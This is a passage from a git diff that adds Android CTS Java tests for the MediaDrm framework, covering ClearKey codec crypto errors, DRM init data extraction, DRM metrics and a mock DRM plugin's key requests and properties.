+            MediaFormat trackMediaFormat = mediaExtractor.getTrackFormat(trackIndex);
+            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+                mediaExtractor.selectTrack(trackIndex);
+                break;
+            }
+        }
+        if (trackIndex == mediaExtractor.getTrackCount()) {
+            throw new IllegalStateException("couldn't get a video track");
+        }
+
+        return mediaExtractor;
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmCodecTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmCodecTest.java
new file mode 100644
index 0000000..38b1d37
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmCodecTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.CryptoException;
+import android.media.MediaCodec.CryptoInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaCrypto;
+import android.media.MediaDrm;
+import android.media.MediaDrm.MediaDrmStateException;
+import android.media.MediaFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+
+import java.nio.ByteBuffer;
+import java.util.UUID;
+
+/**
+ * Clearkey DRM MediaCodec.
+ *
+ * In particular, check various API edge cases.
+ */
+@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaDrmCodecTest extends AndroidTestCase {
+    private static final String TAG = "MediaDrmCodecTest";
+
+    // parameters for the video encoder
+                                                            // H.264 Advanced Video Coding
+    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final int BIT_RATE = 2000000;            // 2Mbps
+    private static final int FRAME_RATE = 15;               // 15fps
+    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
+    private static final int WIDTH = 1280;
+    private static final int HEIGHT = 720;
+
+    /**
+     * Creates a MediaFormat with the basic set of values.
+     */
+    private static MediaFormat createMediaFormat() {
+        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, WIDTH, HEIGHT);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        return format;
+    }
+
+    private static boolean supportsCodec(String mimeType, boolean encoder) {
+        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo info : list.getCodecInfos()) {
+            if (encoder != info.isEncoder()) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (type.equalsIgnoreCase(mimeType)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    /**
+     * Tests:
+     * <br> queueSecureInputBuffer() with erroneous input throws CryptoException
+     * <br> getInputBuffer() after the failed queueSecureInputBuffer() succeeds.
+     */
+    public void testCryptoError() throws Exception {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+        byte[] sessionId = drm.openSession();
+        MediaCrypto crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0]);
+        MediaCodec codec = MediaCodec.createDecoderByType(MIME_TYPE);
+
+        try {
+            crypto.setMediaDrmSession(sessionId);
+
+            MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
+            MediaFormat format = createMediaFormat();
+
+            codec.configure(format, null, crypto, 0);
+            codec.start();
+            int index = codec.dequeueInputBuffer(-1);
+            assertTrue(index >= 0);
+            ByteBuffer buffer = codec.getInputBuffer(index);
+            cryptoInfo.set(
+                    1,
+                    new int[] { 0 },
+                    new int[] { buffer.capacity() },
+                    new byte[16],
+                    new byte[16],
+                    // Trying to decrypt encrypted data in unencrypted mode
+                    MediaCodec.CRYPTO_MODE_UNENCRYPTED);
+            try {
+                codec.queueSecureInputBuffer(index, 0, cryptoInfo, 0, 0);
+                fail("queueSecureInputBuffer should fail when trying to decrypt " +
+                        "encrypted data in unencrypted mode.");
+            } catch (MediaCodec.CryptoException e) {
+                // expected
+            }
+            buffer = codec.getInputBuffer(index);
+            codec.stop();
+        } finally {
+            codec.release();
+            crypto.release();
+            drm.closeSession(sessionId);
+        }
+    }
+
+    /*
+     * Simulate ERROR_LOST_STATE error during decryption, expected
+     * result is MediaCodec.CryptoException with errorCode == ERROR_LOST_STATE
+     */
+    public void testCryptoErrorLostSessionState() throws Exception {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+        drm.setPropertyString("drmErrorTest", "lostState");
+
+        byte[] sessionId = drm.openSession();
+        MediaCrypto crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0]);
+        MediaCodec codec = MediaCodec.createDecoderByType(MIME_TYPE);
+
+        try {
+            crypto.setMediaDrmSession(sessionId);
+
+            MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
+            MediaFormat format = createMediaFormat();
+
+            codec.configure(format, null, crypto, 0);
+            codec.start();
+            int index = codec.dequeueInputBuffer(-1);
+            assertTrue(index >= 0);
+            ByteBuffer buffer = codec.getInputBuffer(index);
+            cryptoInfo.set(
+                    1,
+                    new int[] { 0 },
+                    new int[] { buffer.capacity() },
+                            new byte[16],
+                    new byte[16],
+                    MediaCodec.CRYPTO_MODE_AES_CTR);
+            try {
+                codec.queueSecureInputBuffer(index, 0, cryptoInfo, 0, 0);
+                fail("queueSecureInputBuffer should fail when trying to decrypt " +
+                        "after session lost state error.");
+            } catch (MediaCodec.CryptoException e) {
+                if (e.getErrorCode() != MediaCodec.CryptoException.ERROR_LOST_STATE) {
+                    fail("expected MediaCodec.CryptoException.ERROR_LOST_STATE: " +
+                            e.getErrorCode() + ": " + e.getMessage());
+                }
+                // received expected lost state exception
+            }
+            buffer = codec.getInputBuffer(index);
+            codec.stop();
+        } finally {
+            codec.release();
+            crypto.release();
+            try {
+                drm.closeSession(sessionId);
+            } catch (MediaDrmStateException e) {
+                // expected since session lost state
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmExtractorTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmExtractorTest.java
new file mode 100644
index 0000000..e7ac382
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmExtractorTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.media.DrmInitData;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.DrmInitData;
+import android.media.MediaExtractor;
+import android.media.cts.Preconditions;
+import android.media.cts.TestMediaDataSource;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.UUID;
+
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaDrmExtractorTest extends AndroidTestCase {
+    private static final String TAG = "MediaDrmExtractorTest";
+    private static final UUID UUID_WIDEVINE = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
+    private static final UUID UUID_PLAYREADY = new UUID(0x9A04F07998404286L, 0xAB92E65BE0885F95L);
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    private MediaExtractor mExtractor;
+
+@Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mExtractor = new MediaExtractor();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mExtractor.release();
+    }
+
+    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    protected TestMediaDataSource getDataSourceFor(final String res) throws Exception {
+        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+        return TestMediaDataSource.fromAssetFd(afd);
+    }
+
+    protected TestMediaDataSource setDataSource(final String res) throws Exception {
+        TestMediaDataSource ds = getDataSourceFor(res);
+        mExtractor.setDataSource(ds);
+        return ds;
+    }
+
+    public void testGetDrmInitData() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        Preconditions.assertTestFileExists(mInpPrefix + "psshtest.mp4");
+        setDataSource("psshtest.mp4");
+        DrmInitData drmInitData = mExtractor.getDrmInitData();
+        assertEquals(drmInitData.getSchemeInitDataCount(), 2);
+        assertEquals(drmInitData.getSchemeInitDataAt(0).uuid, UUID_WIDEVINE);
+        assertEquals(drmInitData.get(UUID_WIDEVINE), drmInitData.getSchemeInitDataAt(0));
+        assertEquals(drmInitData.getSchemeInitDataAt(1).uuid, UUID_PLAYREADY);
+        assertEquals(drmInitData.get(UUID_PLAYREADY), drmInitData.getSchemeInitDataAt(1));
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmMetricsTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmMetricsTest.java
new file mode 100644
index 0000000..c9494aa
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmMetricsTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.drmframework.cts;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.containsInAnyOrder;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+
+import android.media.MediaDrm;
+import android.os.PersistableBundle;
+import android.platform.test.annotations.Presubmit;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import com.google.common.io.BaseEncoding;
+import java.lang.IllegalArgumentException;
+import java.util.Base64;
+import java.util.HashSet;
+import java.util.StringJoiner;
+import java.util.UUID;
+
+
+/**
+ * MediaDrm tests covering {@link MediaDrm#getMetrics} and related
+ * functionality.
+ */
+public class MediaDrmMetricsTest extends AndroidTestCase {
+    private static final String TAG = MediaDrmMetricsTest.class.getSimpleName();
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
+    private static final String GOOGLE_CLEARKEY_VENDOR_ID = "Google.ClearKey CDM";
+
+    private String dumpBundleKeys(PersistableBundle bundle) {
+      StringJoiner joiner = new StringJoiner(",");
+      for (String key : bundle.keySet()) {
+        joiner.add(key);
+      }
+      return joiner.toString();
+    }
+
+    private String getClearkeyVersion(MediaDrm drm) {
+        try {
+            return drm.getPropertyString("version");
+        } catch (Exception e) {
+            return "unavailable";
+        }
+    }
+
+    @Presubmit
+    public void testGetMetricsEmpty() throws Exception {
+        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+        assertNotNull(drm);
+
+        if (getClearkeyVersion(drm).equals("1.0")) {
+            Log.i(TAG, "Skipping testGetMetricsEmpty: not supported in ClearKey v1.0");
+            drm.close();
+            return;
+        }
+
+        PersistableBundle metrics = drm.getMetrics();
+        assertNotNull(metrics);
+
+        assertEquals(1, metrics.keySet().size());
+        // The clear key plugin metrics should be included.
+        assertTrue(metrics.keySet().contains(GOOGLE_CLEARKEY_VENDOR_ID));
+        drm.close();
+    }
+
+    @Presubmit
+    public void testGetMetricsSession() throws Exception {
+        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+        assertNotNull(drm);
+
+        if (getClearkeyVersion(drm).equals("1.0")) {
+            Log.i(TAG, "Skipping testGetMetricsSession: not supported in ClearKey v1.0");
+            drm.close();
+            return;
+        }
+
+        byte[] sid1 = drm.openSession();
+        assertNotNull(sid1);
+        byte[] sid2 = drm.openSession();
+        assertNotNull(sid2);
+
+        drm.closeSession(sid1);
+        drm.closeSession(sid2);
+
+        PersistableBundle metrics = drm.getMetrics();
+        assertNotNull(metrics);
+        assertEquals(dumpBundleKeys(metrics), 5, metrics.keySet().size());
+        // The clear key plugin metrics should be included.
+        assertTrue(metrics.keySet().contains(GOOGLE_CLEARKEY_VENDOR_ID));
+
+        assertEquals(2, metrics.getLong(
+            MediaDrm.MetricsConstants.OPEN_SESSION_OK_COUNT, -1));
+        assertEquals(-1, metrics.getLong(
+            MediaDrm.MetricsConstants.OPEN_SESSION_ERROR_COUNT, -1));
+        assertEquals(2, metrics.getLong(
+            MediaDrm.MetricsConstants.CLOSE_SESSION_OK_COUNT, -1));
+        assertEquals(-1, metrics.getLong(
+            MediaDrm.MetricsConstants.CLOSE_SESSION_ERROR_COUNT, -1));
+
+        PersistableBundle startTimesMs = metrics.getPersistableBundle(
+            MediaDrm.MetricsConstants.SESSION_START_TIMES_MS);
+        assertNotNull(startTimesMs);
+        assertEquals(2, startTimesMs.keySet().size());
+        assertThat("Start times contain all session ids. ",
+            startTimesMs.keySet(), containsInAnyOrder(
+                BaseEncoding.base16().encode(sid1).toLowerCase(),
+                BaseEncoding.base16().encode(sid2).toLowerCase()));
+
+        PersistableBundle endTimesMs = metrics.getPersistableBundle(
+            MediaDrm.MetricsConstants.SESSION_END_TIMES_MS);
+        assertNotNull(endTimesMs);
+        assertEquals(2, endTimesMs.keySet().size());
+        assertThat("End times contain all session ids.",
+            endTimesMs.keySet(), containsInAnyOrder(
+                BaseEncoding.base16().encode(sid1).toLowerCase(),
+                BaseEncoding.base16().encode(sid2).toLowerCase()));
+       drm.close();
+    }
+
+    @Presubmit
+    public void testGetMetricsGetKeyRequest() throws Exception {
+        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+        assertNotNull(drm);
+
+        if (getClearkeyVersion(drm).equals("1.0")) {
+            Log.i(TAG, "Skipping testGetMetricsGetKeyRequest: not supported in ClearKey v1.0");
+            drm.close();
+            return;
+        }
+
+        byte[] sid = drm.openSession();
+        assertNotNull(sid);
+
+        try {
+          drm.getKeyRequest(sid, null, "", 2, null);
+        } catch (IllegalArgumentException e) {
+          // Exception expected.
+        }
+
+        drm.closeSession(sid);
+
+        PersistableBundle metrics = drm.getMetrics();
+        assertNotNull(metrics);
+
+        // Verify the count of metric, operation counts and errors.
+        assertEquals(7, metrics.keySet().size());
+        // The clear key plugin metrics should be included.
+        assertTrue(metrics.keySet().contains(GOOGLE_CLEARKEY_VENDOR_ID));
+        assertEquals(1, metrics.getLong(
+            MediaDrm.MetricsConstants.OPEN_SESSION_OK_COUNT, -1));
+        assertEquals(1, metrics.getLong(
+            MediaDrm.MetricsConstants.CLOSE_SESSION_OK_COUNT, -1));
+        assertEquals(1, metrics.getLong(
+            MediaDrm.MetricsConstants.GET_KEY_REQUEST_ERROR_COUNT));
+        long[] errorList = metrics.getLongArray(
+            MediaDrm.MetricsConstants.GET_KEY_REQUEST_ERROR_LIST);
+        assertEquals(1, errorList.length);
+        assertFalse(errorList[0] == 0);
+
+        // Verify the start and end time groups in the nested
+        // PersistableBundles.
+        String hexSid = BaseEncoding.base16().encode(sid).toLowerCase();
+        PersistableBundle startTimesMs = metrics.getPersistableBundle(
+            MediaDrm.MetricsConstants.SESSION_START_TIMES_MS);
+        assertNotNull(startTimesMs);
+        assertEquals(1, startTimesMs.keySet().size());
+        assertEquals(startTimesMs.keySet().toArray()[0], hexSid);
+
+        PersistableBundle endTimesMs = metrics.getPersistableBundle(
+            MediaDrm.MetricsConstants.SESSION_END_TIMES_MS);
+        assertNotNull(endTimesMs);
+        assertEquals(1, endTimesMs.keySet().size());
+        assertEquals(endTimesMs.keySet().toArray()[0], hexSid);
+        assertThat(startTimesMs.getLong(hexSid),
+            lessThanOrEqualTo(endTimesMs.getLong(hexSid)));
+        drm.close();
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmMockTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmMockTest.java
new file mode 100644
index 0000000..4e4a4eb
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmMockTest.java
@@ -0,0 +1,1071 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.media.MediaDrm;
+import android.media.MediaDrm.CryptoSession;
+import android.media.MediaDrm.KeyRequest;
+import android.media.MediaDrm.KeyStatus;
+import android.media.MediaDrm.ProvisionRequest;
+import android.media.MediaDrmException;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import java.util.HashMap;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Iterator;
+import java.util.UUID;
+import java.util.concurrent.ScheduledThreadPoolExecutor;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.TimeUnit;
+import java.lang.Thread;
+import java.lang.Object;
+import android.os.Looper;
+
+// This test works with the MediaDrm mock plugin
+public class MediaDrmMockTest extends AndroidTestCase
+        implements MediaDrm.OnEventListener, MediaDrm.OnKeyStatusChangeListener,
+        MediaDrm.OnExpirationUpdateListener, MediaDrm.OnSessionLostStateListener {
+    private static final String TAG = "MediaDrmMockTest";
+
+    // The scheme supported by the mock drm plugin
+    static final UUID mockScheme = new UUID(0x0102030405060708L, 0x090a0b0c0d0e0f10L);
+    static final UUID badScheme = new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
+    static final UUID clearkeyScheme = new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
+
+    private boolean isMockPluginInstalled() {
+        return MediaDrm.isCryptoSchemeSupported(mockScheme);
+    }
+
+    public void testIsCryptoSchemeNotSupported() throws Exception {
+        assertFalse(MediaDrm.isCryptoSchemeSupported(badScheme));
+    }
+
+    public void testMediaDrmConstructor() throws Exception {
+        if (isMockPluginInstalled()) {
+            MediaDrm md = new MediaDrm(mockScheme);
+        } else {
+            Log.w(TAG, "optional plugin libmockdrmcryptoplugin.so is not installed");
+            Log.w(TAG, "To verify the MediaDrm APIs, you should install this plugin");
+        }
+    }
+
+    public void testIsMimeTypeSupported() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+        String mimeType = "video/mp4";
+        assertTrue(MediaDrm.isCryptoSchemeSupported(mockScheme, mimeType));
+    }
+
+    public void testIsMimeTypeNotSupported() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+        String mimeType = "video/foo";
+        assertFalse(MediaDrm.isCryptoSchemeSupported(mockScheme, mimeType));
+    }
+
+    public void testMediaDrmConstructorFails() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        boolean gotException = false;
+        try {
+            MediaDrm md = new MediaDrm(badScheme);
+        } catch (MediaDrmException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testStringProperties() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        md.setPropertyString("test-string", "test-value");
+        assertTrue(md.getPropertyString("test-string").equals("test-value"));
+    }
+
+    public void testByteArrayProperties() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte testArray[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
+        md.setPropertyByteArray("test-array", testArray);
+        assertTrue(Arrays.equals(md.getPropertyByteArray("test-array"), testArray));
+    }
+
+    public void testMissingPropertyString() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        boolean gotException = false;
+        try {
+            md.getPropertyString("missing-property");
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testNullPropertyString() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        boolean gotException = false;
+        try {
+            md.getPropertyString(null);
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testMissingPropertyByteArray() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        boolean gotException = false;
+        try {
+            md.getPropertyByteArray("missing-property");
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testNullPropertyByteArray() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        boolean gotException = false;
+        try {
+            md.getPropertyByteArray(null);
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testOpenCloseSession() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+        md.closeSession(sessionId);
+    }
+
+    public void testBadSession() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = {0x05, 0x6, 0x7, 0x8};
+        boolean gotException = false;
+        try {
+            md.closeSession(sessionId);
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testNullSession() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = null;
+        boolean gotException = false;
+        try {
+            md.closeSession(sessionId);
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testGetKeyRequest() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        // Set up mock expected responses using properties
+        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
+        md.setPropertyByteArray("mock-request", testRequest);
+        String testDefaultUrl = "http://1.2.3.4:8080/blah";
+        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
+        md.setPropertyString("mock-keyRequestType", "1" /*kKeyRequestType_Initial*/);
+
+        byte[] initData = {0x0a, 0x0b, 0x0c, 0x0d};
+        HashMap<String, String> optionalParameters = new HashMap<String, String>();
+        optionalParameters.put("param1", "value1");
+        optionalParameters.put("param2", "value2");
+
+        String mimeType = "video/iso.segment";
+        KeyRequest request = md.getKeyRequest(sessionId, initData, mimeType,
+                                                      MediaDrm.KEY_TYPE_STREAMING,
+                                                      optionalParameters);
+        assertTrue(Arrays.equals(request.getData(), testRequest));
+        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
+        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_INITIAL);
+
+        assertTrue(Arrays.equals(initData, md.getPropertyByteArray("mock-initdata")));
+        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
+        assertTrue(md.getPropertyString("mock-keytype").equals("1"));
+        assertTrue(md.getPropertyString("mock-optparams").equals("{param1,value1},{param2,value2}"));
+
+        md.closeSession(sessionId);
+    }
+
+    public void testGetKeyRequestNoOptionalParameters() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        // Set up mock expected responses using properties
+        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
+        md.setPropertyByteArray("mock-request", testRequest);
+        String testDefaultUrl = "http://1.2.3.4:8080/blah";
+        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
+        md.setPropertyString("mock-keyRequestType", "1" /*kKeyRequestType_Initial*/);
+
+        byte[] initData = {0x0a, 0x0b, 0x0c, 0x0d};
+
+        String mimeType = "video/iso.segment";
+        KeyRequest request = md.getKeyRequest(sessionId, initData, mimeType,
+                                                      MediaDrm.KEY_TYPE_STREAMING,
+                                                      null);
+        assertTrue(Arrays.equals(request.getData(), testRequest));
+        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
+        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_INITIAL);
+
+        assertTrue(Arrays.equals(initData, md.getPropertyByteArray("mock-initdata")));
+        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
+        assertTrue(md.getPropertyString("mock-keytype").equals("1"));
+
+        md.closeSession(sessionId);
+    }
+
+    public void testGetKeyRequestOffline() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        // Set up mock expected responses using properties
+        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
+        md.setPropertyByteArray("mock-request", testRequest);
+        String testDefaultUrl = "http://1.2.3.4:8080/blah";
+        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
+        md.setPropertyString("mock-keyRequestType", "2" /*kKeyRequestType_Renewal*/);
+
+        byte[] initData = {0x0a, 0x0b, 0x0c, 0x0d};
+
+        String mimeType = "video/iso.segment";
+        KeyRequest request = md.getKeyRequest(sessionId, initData, mimeType,
+                                              MediaDrm.KEY_TYPE_OFFLINE,
+                                              null);
+        assertTrue(Arrays.equals(request.getData(), testRequest));
+        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
+        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_RENEWAL);
+
+        assertTrue(Arrays.equals(initData, md.getPropertyByteArray("mock-initdata")));
+        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
+        assertTrue(md.getPropertyString("mock-keytype").equals("0"));
+
+        md.closeSession(sessionId);
+    }
+
+    public void testGetKeyRequestRelease() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        // Set up mock expected responses using properties
+        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
+        md.setPropertyByteArray("mock-request", testRequest);
+        String testDefaultUrl = "http://1.2.3.4:8080/blah";
+        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
+        md.setPropertyString("mock-keyRequestType", "3" /*kKeyRequestType_Release*/);
+
+        String mimeType = "video/iso.segment";
+        KeyRequest request = md.getKeyRequest(sessionId, null, mimeType,
+                                              MediaDrm.KEY_TYPE_RELEASE,
+                                              null);
+        assertTrue(Arrays.equals(request.getData(), testRequest));
+        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
